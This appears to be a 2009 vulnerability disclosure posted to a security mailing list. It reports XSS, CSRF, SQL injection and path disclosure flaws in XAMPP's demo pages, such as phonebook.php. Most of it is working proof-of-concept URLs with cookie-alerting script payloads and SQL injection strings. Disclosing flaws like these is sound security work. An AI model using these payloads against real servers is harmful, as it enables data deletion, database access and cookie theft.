|
Hello 3APA3A!
I want to warn you about new security vulnerabilities in XAMPP which I
found at 23.06.2009.
These are Cross-Site Scripting, Cross-Site Request Forgery, SQL Injection
and Full path disclosure vulnerabilities.
XSS:
http://site/xampp/ming.
php?text=%22%3E%3Cscript%3Ealert(document.
cookie)%3C/script%3E
CSRF:
http://site/xampp/phonebook.php
It's possible to delete or add data in test table (as via CSRF, and as via
Insufficient Authorization vulnerabilities). And also to conduct SQL
Injection via CSRF attacks.
XSS (persistent):
http://site/xampp/phonebook.php?lastname=%3Cscript%3Ealert(document.
cookie)%3C/script%3E&firstname=1
http://site/xampp/phonebook.php?firstname=%3Cscript%3Ealert(document.
cookie)%3C/script%3E
http://site/xampp/phonebook.
php?firstname=1&phone=%3Cscript%3Ealert(document.
cookie)%3C/script%3E
SQL Injection:
http://site/xampp/phonebook.php?action=del&id=-1%20or%201=1
http://site/xampp/phonebook.php?lastname=',
version())/*&firstname=1 (mq
off)
http://site/xampp/phonebook.php?firstname=',version(),1)/* (mq off)
http://site/xampp/phonebook.php?firstname=1&phone='),
(version(),1,'1 (mq
off)
Attack is possible during access to admin panel (via Insufficient
Authorization), or via CSRF.
Full path disclosure:
http://site/xampp/phonebook.php?lastname='&firstname=1
http://site/xampp/phonebook.php?firstname='
http://site/xampp/phonebook.php?firstname=1&phone='
Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
versions (including last version XAMPP 1.7.1).
I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/3264/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
!DSPAM:4a747750135673248486855!
|
